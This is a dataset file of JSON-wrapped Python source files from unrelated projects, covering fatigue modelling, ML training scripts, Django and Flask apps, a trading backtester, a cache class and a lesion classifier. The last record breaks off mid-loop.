+{"seq_id":"141808738","text":"from typing import List\nimport numpy as np\n\n\nclass BaskinModel(object):\n '''\n Basking model implementation\n Asumes 0.4 factor for endurance limit\n Suitable for carbon steels\n Not applicable for alloys\n '''\n\n # Fatigue chart resolution\n NO_OF_CHART_POINTS = 200\n\n def __init__(\n self,\n faitgue_stress: List[float],\n ult_strength: float,\n modification_factor: float,\n ):\n self.fatigue_stress = faitgue_stress\n self.ult_strength = ult_strength\n self.modification_factor = modification_factor\n\n def get_baskin_params(self, derated=True):\n '''\n Calculates Baskin parameters for the fatigue curve\n '''\n # If data should be raw, not derated, applied modification factor = 1\n if derated == False:\n self.modification_factor = 1\n self.endurance_limit = 0.4 * self.ult_strength * self.modification_factor\n\n def s_1000_factor():\n '''\n Calculates starting point for fatigue curve\n Based on Shigley data, depends on material ultimate strength\n '''\n if self.ult_strength < 130:\n return (\n -1.4218548015713e-07 * self.ult_strength ** 3\n + 0.0000563482426806003 * self.ult_strength ** 2\n - 0.00832826468826188 * self.ult_strength\n + 1.25431693640081\n )\n return (\n -3.30944038409e-09 * self.ult_strength ** 3\n + 3.31244407581022e-06 * self.ult_strength ** 2\n - 0.00134990048235594 * self.ult_strength\n + 0.936702621709383\n )\n\n self.B_factor = (\n -1\n / 3\n * np.log10(\n s_1000_factor()\n * self.modification_factor\n * self.ult_strength\n / self.endurance_limit\n )\n )\n self.C_factor = np.log10(\n (self.modification_factor * s_1000_factor() * self.ult_strength) ** 2\n / self.endurance_limit\n )\n\n def get_allowable_cycles(self):\n '''\n Calculates allowable cycles based on modification factor and fatigue stress\n @return: List[float]\n '''\n self.get_baskin_params()\n allowable_cycles = []\n for stress in self.fatigue_stress:\n if stress <= self.endurance_limit:\n allowable_cycles.append(10 ** 12)\n else:\n allowable_cycles.append(\n 10 ** (-self.C_factor / self.B_factor)\n * stress ** (1 / self.B_factor)\n )\n return allowable_cycles\n\n def get_damage(self, required_cycles: List[float]):\n '''\n Calculates fatigue damage based on raquired and allwable cycle values\n @return: List[float]\n '''\n damage = []\n allowable_cycles = self.get_allowable_cycles()\n for req_cycles, allow_cycle in zip(required_cycles, allowable_cycles):\n damage.append(round(req_cycles / allow_cycle, 3))\n return damage\n\n def get_chart_data(self, derated):\n '''\n Evaluate fatigue chart using Baskin model\n User can evaluated raw (derated=False) or derated curve\n @return: tuple[List[float]]\n '''\n self.get_baskin_params(derated)\n print(f\"Modification factor {self.modification_factor}\")\n cycle_range = np.linspace(\n 1000, 1_000_000, num=self.NO_OF_CHART_POINTS, endpoint=True\n )\n stress = [10 ** self.C_factor * item ** self.B_factor for item in cycle_range]\n return cycle_range, stress\n","sub_path":"api/src/fatigue/fatiguelife.py","file_name":"fatiguelife.py","file_ext":"py","file_size_in_byte":3690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"601031311","text":"from dataLoaders import DigitData\nfrom catalyst.dl import SupervisedRunner, CallbackOrder, Callback, CheckpointCallback\nfrom config import *\nfrom funcs import get_dict_from_class\nfrom models import FeatureExtractor,FCLayered\nfrom losses import BCELoss\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\nimport pandas as pd\nfrom catalyst import dl\nfrom callbacks import MetricsCallback\nfrom sklearn.model_selection import StratifiedKFold\nimport torch\ndef train(Model1,DataLoad1):\n randSeed=23\n data_load = DigitData(**get_dict_from_class(DataLoad1))\n criterion = BCELoss()\n model = FeatureExtractor(**get_dict_from_class(Model1))\n # model = FCLayered(**get_dict_from_class(Model1))\n if False:\n checkpoint = torch.load(str(saveDirectory) + '/featureExtr_4_100.pth')\n model.load_state_dict(checkpoint)\n model.eval()\n optimizer = optim.Adam(model.parameters(), lr=lr)\n\n skf = StratifiedKFold(n_splits=15, shuffle=True, random_state=randSeed)\n train = data_load.data\n train[\"fold\"] = -1\n\n # train.set_index('index',inplace=True)\n for fold_id, (train_index, val_index) in enumerate(skf.split(train, train[\"fold\"])):\n train.iloc[val_index, -1] = fold_id\n\n # # check the proportion\n fold_proportion = pd.pivot_table(train, columns=\"fold\", values=\"label\", aggfunc=len)\n\n use_fold = 0\n\n train_file = train.query(\"fold != @use_fold\")\n val_file = train.query(\"fold == @use_fold\")\n\n print(\"[fold {}] train: {}, val: {}\".format(use_fold, len(train_file), len(val_file)))\n\n loaders = {\n \"train\": DataLoader(DigitData(data_frame=train_file, **get_dict_from_class(DataLoad1)),\n batch_size=512,\n shuffle=False,\n num_workers=4,\n pin_memory=True,\n drop_last=False),\n \"valid\": DataLoader(DigitData(data_frame=val_file, **get_dict_from_class(DataLoad1)),\n batch_size=512,\n shuffle=False,\n num_workers=4,\n pin_memory=True,\n drop_last=False)\n }\n\n callbacks = [\n dl.AccuracyCallback(input_key=\"logits\", target_key=\"targets\", num_classes=10, topk_args=[1]),\n\n MetricsCallback(input_key=\"targets\", output_key=\"logits\",\n directory=saveDirectory, model_name='featureExtr_4'),\n # CheckpointCallback(save_n_best=0)\n ]\n runner = SupervisedRunner(\n\n output_key=\"logits\",\n input_key=\"image_pixels\",\n target_key=\"targets\")\n # scheduler=scheduler,\n\n runner.train(\n model=model,\n criterion=criterion,\n loaders=loaders,\n optimizer=optimizer,\n\n num_epochs=epoch,\n verbose=True,\n logdir=f\"fold0\",\n callbacks=callbacks,\n )\n\n # main_metric = \"epoch_f1\",\n # minimize_metric = False\n c = 0\nif __name__ == \"__main__\":\n train(Model1,DataLoad1)","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"360354813","text":"\"\"\"Integer field class & utilities.\"\"\"\nfrom gettext import gettext as _\nfrom typing import Any\nfrom typing import Optional\nfrom typing import cast\n\nfrom pofy.core.constants import UNDEFINED\nfrom pofy.core.errors import ErrorCode\nfrom pofy.core.interfaces import ILoadingContext\nfrom pofy.core.validation import ValidateCallback\nfrom pofy.fields.base_field import ScalarField\n\n\nclass IntField(ScalarField):\n \"\"\"Integer YAML object field.\"\"\"\n\n def __init__(\n self,\n base: int = 0,\n minimum: Optional[int] = None,\n maximum: Optional[int] = None,\n required: bool = False,\n validate: Optional[ValidateCallback] = None,\n ):\n \"\"\"Initialize int field.\n\n Args:\n base: Base in which this field is encoded. By default, base is 0,\n meaning that python will distinguish automatically decimal,\n octal, and hexadecimal notations from the string.\n minimum: Minimum value for the field. If the value is out of bound,\n a VALIDATION_ERROR will be raised.\n maximum: Maximum value for the field. If the value is out of bound,\n a VALIDATION_ERROR will be raised.\n required: See BaseField constructor.\n validate: See BaseField constructor.\n\n \"\"\"\n super().__init__(required=required, validate=validate)\n self._base = base\n self._minimum = minimum\n self._maximum = maximum\n\n def _convert(self, context: ILoadingContext) -> Any:\n node = context.current_node()\n value = node.value\n result: Optional[int] = None\n\n try:\n result = int(value, self._base)\n except ValueError:\n context.error(\n ErrorCode.VALUE_ERROR,\n _('Can\\'t convert \"{}\" to an integer'), value\n )\n return UNDEFINED\n\n return cast(Optional[int], ScalarField._check_in_bounds(\n context,\n result,\n self._minimum,\n self._maximum\n ))\n","sub_path":"pofy/fields/int_field.py","file_name":"int_field.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"287850262","text":"from graph import *\n\ndef treug(x, y, c):\n brushColor(c)\n polygon([(x, y), (x, y-60), (x+100, y), (x, y)])\n\n\npenColor(\"black\")\ntreug(100, 100, \"blue\")\ntreug(200, 100, \"green\")\ntreug(200, 160, \"red\")\n\n\nrun()\n","sub_path":"Treugi.py","file_name":"Treugi.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"93054590","text":"# coding=utf-8\nfrom django.core.mail import EmailMultiAlternatives\nimport datetime\n\"\"\"\nNot finish yet\n\"\"\"\n\n\nclass Mail(object):\n def __init__(self):\n pass\n\n def send(self, operations, email):\n \"\"\"\n\n :param operations: [{'type': op_type, 'state': state, 'l_url':l_url, 'l_name': l_name,\n 'cate_eng': cate_eng, 'cate_chn': cate_chn}, ...]\n op_type: add/update\n state: 成功/失败\n :param email:\n :return:\n \"\"\"\n subject = '%s Update Report' % datetime.datetime.now().strftime('%Y-%m-%d %H:%M')\n text_content = 'content here'\n\n # content\n movie_list = []\n tv_list = []\n anime_list = []\n show_list = []\n for op in operations:\n if op.get('cate_eng') == 'movie':\n movie_list.append(op)\n elif op.get('cate_eng') == 'tv':\n tv_list.append(op)\n elif op.get('cate_eng') == 'anime':\n anime_list.append(op)\n elif op.get('cate_eng') == 'show':\n show_list.append(op)\n content = ''\n for item in (movie_list, tv_list, anime_list, show_list):\n for op in item:\n op.get('')\n content = ''.encode(\n 'utf8')\n html_content = open(\n BASE_DIR + '/templates/userinfo/mail/general_mail.html').read() \\\n .replace('subject_default', subject).replace('content_default',\n content).replace(\n 'link_default', '')\n\n from_email = '比格电影 '\n # from_email = 'bigedianying@gmail.com'\n msg = EmailMultiAlternatives(subject, text_content, from_email, [email])\n msg.attach_alternative(html_content, \"text/html\")\n msg.send()","sub_path":"spider/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"46585154","text":"# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\nimport wx\nimport armid\nimport ARM\n\nclass TargetListBox(wx.ListBox):\n def __init__(self,parent,winId,boxSize,dp,rl):\n wx.ListBox.__init__(self,parent,winId,size=boxSize)\n self.dbProxy = dp\n self.theDimMenu = wx.Menu()\n self.theDimMenu.Append(armid.DIMLIST_MENUADD_ID,'Add')\n self.theDimMenu.Append(armid.DIMLIST_MENUDELETE_ID,'Delete')\n self.theRiskList = rl\n self.theSelectedValue = ''\n self.Bind(wx.EVT_RIGHT_DOWN,self.OnRightDown)\n wx.EVT_MENU(self.theDimMenu,armid.DIMLIST_MENUADD_ID,self.onAddDimension)\n wx.EVT_MENU(self.theDimMenu,armid.DIMLIST_MENUDELETE_ID,self.onDeleteDimension)\n\n def OnRightDown(self,evt):\n self.PopupMenu(self.theDimMenu)\n\n def onAddDimension(self,evt):\n targetList = self.dbProxy.targetNames(self.theRiskList.GetItems())\n from DimensionNameDialog import DimensionNameDialog\n dlg = DimensionNameDialog(self,'Target',targetList,'Add')\n if (dlg.ShowModal() == armid.DIMNAME_BUTTONACTION_ID):\n additionalDimension = dlg.dimensionName()\n self.Append(additionalDimension)\n self.theSelectedValue = additionalDimension\n\n def onDeleteDimension(self,evt):\n idx = self.GetSelection()\n if (idx == -1):\n errorText = 'No ' + self.theDimensionTable + ' selected'\n errorLabel = 'Delete ' + self.theDimensionTable\n dlg = wx.MessageDialog(self,errorText,errorLabel,wx.OK)\n dlg.ShowModal()\n dlg.Destroy()\n else:\n self.theSelectedValue = self.GetSelection()\n self.Delete(self.theSelectedValue)\n","sub_path":"cairis/cairis/TargetListBox.py","file_name":"TargetListBox.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"617959963","text":"from django.contrib.auth import views as auth_views\nfrom django.urls import include, path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.PostList.as_view(), name='index'),\n path('post/create/', views.PostCreate.as_view(), name='create'),\n path('post//details/', views.PostDetails.as_view(), name='details'),\n path('post//edit/', views.PostEdit.as_view(), name='edit'),\n path('post/drafts/', views.PostDrafts.as_view(), name='drafts'),\n path('post//publish/', views.PostPublish.as_view(), name='publish'),\n path('post//remove/', views.PostRemove.as_view(), name='remove'),\n path('accounts/', include('django.contrib.auth.urls')),\n # Function View\n # path('details//', views.post_detail, name='details'),\n]\n","sub_path":"app/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"284991198","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/evogrid/caching/ram.py\n# Compiled at: 2006-08-10 15:57:20\n\"\"\"RAM-based cache implementation\n\nThis RAM cache is inspired on zope.app.cache.ram but a bit simpler cause we\ndon't want to inherit from ``Persistent`` and has a slightly different\ninterface as well.\n\nThe original implementation of RAMCache is copyright Zope Corporation and\ncontributors and is distributed under the terms of the Zope Public License.\n\"\"\"\nfrom cPickle import dumps\nfrom evogrid.caching.interfaces import ICache\nfrom threading import Lock\nfrom zope.interface import implements\n_marker = object()\n\nclass RAMCache(object):\n \"\"\"Cache implementation that stores entries in a python dict\"\"\"\n __module__ = __name__\n implements(ICache)\n hits = 0\n misses = 0\n max_entries = None\n\n def __init__(self, max_entries=None):\n self.max_entries = max_entries\n self._store = {}\n self._sorted_keys = []\n self._lock = Lock()\n\n def __len__(self):\n return len(self._store)\n\n def invalidate(self, key=None):\n if key is None:\n self._lock.acquire()\n try:\n self._store.clear()\n del self._sorted_keys[:]\n finally:\n self._lock.release()\n else:\n key = self._buildKey(key)\n if key not in self._store:\n return\n self._lock.acquire()\n try:\n if key in self._store:\n del self._store[key]\n self._sorted_keys.remove(key)\n finally:\n self._lock.release()\n return\n\n def query(self, key, default=None):\n \"\"\"Search the store to find a matching entry\n\n If nothing is found return default. If a matching entry is found,\n the _sorted_keys list order is updated. The misses and hits counters\n are updated.\n \"\"\"\n key = self._buildKey(key)\n _store, _sorted_keys = self._store, self._sorted_keys\n result = _store.get(key, _marker)\n if result is _marker:\n self.misses += 1\n return default\n self._lock.acquire()\n try:\n if key in _store:\n _sorted_keys.remove(key)\n _sorted_keys.insert(0, key)\n finally:\n self._lock.release()\n self.hits += 1\n return result\n\n def set(self, key, data):\n \"\"\"Add data to the store\n\n Check that the store size does not exceed ``max_entries``.\n \"\"\"\n key = self._buildKey(key)\n _store, _sorted_keys = self._store, self._sorted_keys\n if key in _store and _store[key] == data:\n return\n self._lock.acquire()\n try:\n if key not in _store:\n len_self = len(self)\n max_entries = self.max_entries\n if max_entries is not None and len_self >= max_entries:\n for i in xrange(len_self - max_entries + 1):\n del _store[_sorted_keys.pop()]\n\n _store[key] = data\n _sorted_keys.insert(0, key)\n finally:\n self._lock.release()\n return\n\n def _buildKey(kw):\n \"\"\"Build a tuple which can be used as an index for a cached value\"\"\"\n k = tuple(sorted(kw.iteritems()))\n try:\n return hash(k)\n except TypeError:\n return dumps(k)\n\n _buildKey = staticmethod(_buildKey)","sub_path":"pycfiles/evogrid-0.1.0-py2.4/ram.py","file_name":"ram.py","file_ext":"py","file_size_in_byte":3622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"591283925","text":"# Python Moduals\nimport Queue \nimport platform\nimport time\nimport pandas as pd\n\n# Person python files\nimport data\nimport strategy\nimport portfolio\nimport execution\nimport visualize\n\n\n\nif platform.system() == \"Linux\":\n dirName = \"/home/nkippers/git/quantStartTrail1\"\nelse:\n dirName = \"/Users/noelkippers/git/quantStartTrail1\"\n\nevents = Queue.Queue()\nsymbol = [\"AAPL\"]\nstart_date = \"2014-01-10\"\n\nevents = Queue.Queue()\nbars = data.HistoricCSVDataHandler(events, dirName, symbol)\nstrategy = strategy.BuyAndHoldStrategy(bars, events)\nport = portfolio.NaivePortfolio(bars, events, start_date, initial_capital=100000.0)\nbroker = execution.SimulatedExecutionHandler(events)\nplotter = visualize.DataPlots(port)\n\n# Declare the components with respective parameters\n# bars = DataHandler(..)\n# strategy = Strategy(..)\n# port = Portfolio(..)\n# broker = ExecutionHandler(..)\n\nwhile True:\n # Update the bars (specific backtest code, as opposed to live trading)\n if bars.continue_backtest == True:\n bars.update_bars()\n else:\n break\n \n # Handle the events\n while True:\n try:\n event = events.get(False)\n except Queue.Empty:\n break\n else:\n if event is not None:\n# print event.type\n if event.type == 'MARKET':\n strategy.calculate_signals(event)\n port.update_timeindex(event)\n\n elif event.type == 'SIGNAL':\n port.update_signal(event)\n\n elif event.type == 'ORDER':\n broker.execute_order(event)\n\n elif event.type == 'FILL':\n port.update_fill(event)\n \n# time.sleep(1)\n # 10-Minute heartbeat\n# time.sleep(10*60)\nport.create_equity_curve_dataframe()\n# print port.output_summary_stats()\n# port.plot_summary()\n# plotter.plot_OHLC()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"55576176","text":"import cv2\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nPATH = 'D:/bookPic/'\r\nfilename = 'rada2.jpg'\r\n\r\n#img = cv2.imread('wrongPath/rada2.jpg')\r\nimg = cv2.imread(PATH+filename)\r\nprint(type(img))\r\nif not isinstance(img, np.ndarray):\r\n print('Unsuccessfully load the image \"{}\"'.format(filename))\r\n exit()\r\nRGB_img = cv2.cvtColor(img, cv2.COLOR_B)\r\n#downsize the image to half of the original\r\nnew_width, new_height = int(RGB_img.shape[1]/2), int(RGB_img.shape[0]/2)\r\nRGB_resize = cv2.resize(RGB_img.copy(), (new_width, new_height))\r\n#save the images\r\ncv2.imwrite('C:/test/rada2_resize.jpg',RGB_resize)\r\ncv2.imwrite('C:/test/rada2.jpg', img)\r\n\r\nax1 = plt.subplot(1, 3, 1)\r\nplt.imshow(img)\r\nax1.set_title('img')\r\nax2 = plt.subplot(1, 3, 2, yticklabels = [])\r\nplt.imshow(RGB_img)\r\nax2.set_title('RGB_img')\r\nax3 = plt.subplot(1, 3, 3, yticklabels = [])\r\nplt.imshow(RGB_resize)\r\nax3.set_title('RGB_resize')\r\nplt.show()","sub_path":"ex 3.3.py","file_name":"ex 3.3.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"135489843","text":"# ------------------------------------------------------------------------------------------------ #\n# MIT License #\n# #\n# Copyright (c) 2020, Microsoft Corporation #\n# #\n# Permission is hereby granted, free of charge, to any person obtaining a copy of this software #\n# and associated documentation files (the \"Software\"), to deal in the Software without #\n# restriction, including without limitation the rights to use, copy, modify, merge, publish, #\n# distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the #\n# Software is furnished to do so, subject to the following conditions: #\n# #\n# The above copyright notice and this permission notice shall be included in all copies or #\n# substantial portions of the Software. #\n# #\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING #\n# BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND #\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, #\n# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. #\n# ------------------------------------------------------------------------------------------------ #\n\nfrom functools import partial\nfrom collections import namedtuple\n\nimport jax\nimport jax.numpy as jnp\nimport haiku as hk\nfrom gym.spaces import Discrete, Box\n\nfrom .._base.test_case import TestCase\nfrom ..utils import safe_sample\nfrom .stochastic_v import StochasticV\n\ndiscrete = Discrete(7)\nboxspace = Box(low=0, high=1, shape=(3, 5))\nnum_bins = 20\n\nEnv = namedtuple('Env', ('observation_space', 'action_space'))\n\n\ndef func(S, is_training):\n batch_norm = hk.BatchNorm(False, False, 0.99)\n logits = hk.Sequential((\n hk.Flatten(),\n hk.Linear(8), jax.nn.relu,\n partial(hk.dropout, hk.next_rng_key(), 0.25 if is_training else 0.),\n partial(batch_norm, is_training=is_training),\n hk.Linear(8), jnp.tanh,\n hk.Linear(num_bins),\n ))\n return {'logits': logits(S)}\n\n\nclass TestStochasticV(TestCase):\n def test_init(self):\n StochasticV(func, Env(boxspace, boxspace), (-10, 10), num_bins=num_bins)\n StochasticV(func, Env(boxspace, discrete), (-10, 10), num_bins=num_bins)\n StochasticV(func, Env(discrete, boxspace), (-10, 10), num_bins=num_bins)\n StochasticV(func, Env(discrete, discrete), (-10, 10), num_bins=num_bins)\n\n # test_call_* ##################################################################################\n\n def test_call_discrete(self):\n env = Env(discrete, discrete)\n value_range = (-10, 10)\n\n s = safe_sample(env.observation_space, seed=17)\n v = StochasticV(func, env, value_range, num_bins=num_bins, random_seed=19)\n\n v_, logp = v(s, return_logp=True)\n print(v_, logp, env.observation_space)\n self.assertIn(v_, Box(*value_range, shape=()))\n self.assertArraySubdtypeFloat(logp)\n self.assertArrayShape(logp, ())\n\n def test_call_boxspace(self):\n env = Env(boxspace, discrete)\n value_range = (-10, 10)\n\n s = safe_sample(env.observation_space, seed=17)\n v = StochasticV(func, env, value_range, num_bins=num_bins, random_seed=19)\n\n v_, logp = v(s, return_logp=True)\n print(v_, logp, env.observation_space)\n self.assertIn(v_, Box(*value_range, shape=()))\n self.assertArraySubdtypeFloat(logp)\n self.assertArrayShape(logp, ())\n\n # test_mode_* ##################################################################################\n\n def test_mode_discrete(self):\n env = Env(discrete, discrete)\n value_range = (-10, 10)\n\n s = safe_sample(env.observation_space, seed=17)\n v = StochasticV(func, env, value_range, num_bins=num_bins, random_seed=19)\n\n v_ = v.mode(s)\n print(v_, env.observation_space)\n self.assertIn(v_, Box(*value_range, shape=()))\n\n def test_mode_boxspace(self):\n env = Env(boxspace, discrete)\n value_range = (-10, 10)\n\n s = safe_sample(env.observation_space, seed=17)\n v = StochasticV(func, env, value_range, num_bins=num_bins, random_seed=19)\n\n v_ = v.mode(s)\n print(v_, env.observation_space)\n self.assertIn(v_, Box(*value_range, shape=()))\n\n def test_function_state(self):\n env = Env(discrete, discrete)\n value_range = (-10, 10)\n\n v = StochasticV(func, env, value_range, num_bins=num_bins, random_seed=19)\n\n print(v.function_state)\n batch_norm_avg = v.function_state['batch_norm/~/mean_ema']['average']\n self.assertArrayShape(batch_norm_avg, (1, 8))\n self.assertArrayNotEqual(batch_norm_avg, jnp.zeros_like(batch_norm_avg))\n\n # other tests ##################################################################################\n\n def test_bad_input_signature(self):\n def badfunc(S, is_training, x):\n pass\n msg = (\n r\"func has bad signature; \"\n r\"expected: func\\(S, is_training\\), \"\n r\"got: func\\(S, is_training, x\\)\"\n )\n with self.assertRaisesRegex(TypeError, msg):\n env = Env(boxspace, discrete)\n value_range = (-10, 10)\n StochasticV(badfunc, env, value_range, num_bins=num_bins, random_seed=13)\n\n def test_bad_output_structure(self):\n def badfunc(S, is_training):\n dist_params = func(S, is_training)\n dist_params['foo'] = jnp.zeros(1)\n return dist_params\n msg = (\n r\"func has bad return tree_structure, \"\n r\"expected: PyTreeDef\\({'logits': \\*}\\), \"\n r\"got: PyTreeDef\\({'foo': \\*, 'logits': \\*}\\)\"\n )\n with self.assertRaisesRegex(TypeError, msg):\n env = Env(discrete, discrete)\n value_range = (-10, 10)\n StochasticV(badfunc, env, value_range, num_bins=num_bins, random_seed=13)\n","sub_path":"coax/_core/stochastic_v_test.py","file_name":"stochastic_v_test.py","file_ext":"py","file_size_in_byte":6723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"7599653","text":"import pickle\r\nfrom io import StringIO\r\n\r\nfrom flask import Flask, request, make_response, Response, send_file\r\n\r\nfrom flasgger import Swagger\r\nimport pandas as pd\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom sklearn.metrics import accuracy_score\r\nimport pickle\r\n\r\nfrom sklearn.cluster import KMeans\r\n\r\n\r\napp = Flask(__name__)\r\nSwagger(app)\r\n\r\npickle_in = open(\"classifier.pkl\", \"rb\")\r\nclassifier = pickle.load(pickle_in)\r\npicky_in = open(\"cluster.pkl\", \"rb\")\r\nclusts = pickle.load(picky_in)\r\n\r\n\r\n@app.route('/')\r\ndef welcome():\r\n return \"Welcome All\"\r\n\r\n\r\n@app.route('/predict_file', methods=[\"POST\"])\r\ndef predict_note_file1():\r\n \"\"\"Let's Authenticate the Banks Note\r\n This is using docstrings for specifications.\r\n ---\r\n parameters:\r\n - name: file\r\n in: formData\r\n type: file\r\n required: true\r\n\r\n responses:\r\n 200:\r\n description: The output values\r\n\r\n \"\"\"\r\n df_test = pd.read_csv(request.files.get(\"file\"))\r\n print(df_test.head())\r\n prediction = classifier.predict(df_test)\r\n\r\n return str(list(prediction))\r\n\r\n\r\n@app.route('/predict_similar', methods=[\"POST\"])\r\ndef predict_note_file():\r\n \"\"\"Let's Cluster the Test cases for similarity Level\r\n This is using docstrings for specifications.\r\n ---\r\n parameters:\r\n - name: file\r\n in: formData\r\n type: file\r\n required: true\r\n\r\n responses:\r\n 200:\r\n description: The output values\r\n\r\n \"\"\"\r\n df_test = pd.read_csv(request.files.get(\"file\"), encoding='unicode_escape')\r\n df_test = df_test.dropna(axis=0, how='any')\r\n df_test['combine6'] = df_test.iloc[:, 1] + df_test.iloc[:, 2] + df_test.iloc[:, 3]\r\n vec = TfidfVectorizer(stop_words=\"english\", ngram_range=(1, 3))\r\n vec.fit(df_test.combine6.values)\r\n features = vec.transform(df_test.combine6.values)\r\n\r\n clustr = KMeans(init='k-means++', n_clusters=5, n_init=10)\r\n clustr.fit(features)\r\n df_test['cluster_labels'] = clustr.labels_\r\n output = StringIO()\r\n df_test.to_csv(output)\r\n return Response(output.getvalue(), mimetype=\"text/csv\")\r\n # return \"Check the file is generated\"\r\n # --resp = make_response(df_test.to_csv())\r\n # resp.headers[\"Content-Disposition\"] = (\"attachment; filename=%s\" % filename)\r\n # resp.headers[\"Content-Disposition\"] = \"attachment; filename=export.csv\"\r\n # --resp.headers[\"Content-Type\"] = \"text/csv\"\r\n # resp.headers[\"Content-Disposition\"] = (\"attachment; filename=%s\" % filename)\r\n # --return resp\r\n # & buffer = StringIO()\r\n # & df_test.to_csv(buffer, encoding='utf-8')\r\n # & buffer.seek(0)\r\n # & return send_file(buffer, attachment_filename=\"test.csv\", mimetype='text/csv')\r\n\r\n\r\n# return make_response(df_test.to_csv(), mimetype=\"text/csv\")\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run()\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"183597630","text":"import datetime\nimport pandas as pd\n\n\n# Define local variables\nwdata_path = 'out/2019_raw_weather_data.csv'\nfdata_path = 'data/raw_financial_data.csv'\n\n# Read CSV\ndf_weather = pd.read_csv(wdata_path, index_col=0)\n\n# Separate PRCP (precipitation) data, drop unneeded columns\nprcp = df_weather[df_weather['datatype'] == 'PRCP']\nprcp.drop(['datatype', 'attributes'], axis=1, inplace=True)\n# Separate TAVG (Average Temperature) data, drop unneeded columns\ntavg = df_weather[df_weather['datatype'] == 'TAVG']\ntavg.drop(['datatype', 'attributes'], axis=1, inplace=True)\n\n# merge together, creating features out of the PRCP and TAVG values\ndf = prcp.merge(tavg, on=['date', 'station'])\n\n# reset index to fix inconsistency in merge\ndf.reset_index(drop=True, inplace=True)\n\n# relabel columns\ndf.columns = ['date', 'station', 'precip', 'avg_temp']\n\n# reformat date since no time needed, only daily summaries\ndf['date'] = pd.to_datetime(df['date'], format=\"%Y-%m-%d\")\n\nprint(df.head())\n\ndf.to_csv('out/cleaned_weather_data.csv')\n","sub_path":"ul_2_cleanData.py","file_name":"ul_2_cleanData.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"430165915","text":"import SamTech\nimport cv2\nimport os\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.optimizers import Adam, SGD\n\nfrom numpy.random import seed\nseed(42)\nfrom tensorflow import set_random_seed\nset_random_seed(2)\nfrom sklearn.metrics import classification_report, confusion_matrix\n\norigin_dir = 'SamTech/Vision/dataset/lesion/test/'\n# origin_dir = 'SamTech/Vision/dataset/lesion/train_2c/'\n\nsammy = SamTech.Vision.Classifier(category = 'lesion')\n# sammy.weight_path = 'SamTech/Vision/ckpt/'\nsammy.classes = ['BENIGN', 'MALIGNANT']\nsammy.classes.sort()\n\n\nsammy.load_model('inceptionResnetV2_lesion-320-320-3-c2-30-0.73.hdf5')\n\n\ntest_list = ['ML16','NM_small','ML17']\n# test_list = ['MALIGNANT','BENIGN']\n# test_list.pop(0)\ny_true = []\ny_pred = []\n\n\nfor folder in test_list:\n print ('x')\n _dir = origin_dir+folder\n for i in os.scandir(_dir):\n if 'NM' in folder:\n y_true.append(0)\n act = \"BENIGN\"\n elif 'ML' in folder:\n y_true.append(1)\n act = \"MELANOMAS\"\n\n raw_prediction = sammy.predict(_dir+'/'+i.name)[0]\n\n if raw_prediction[0]>=0.5:\n _class = 'BENIGN'\n y_pred.append(0)\n else:\n _class = 'MALIGNANT'\n 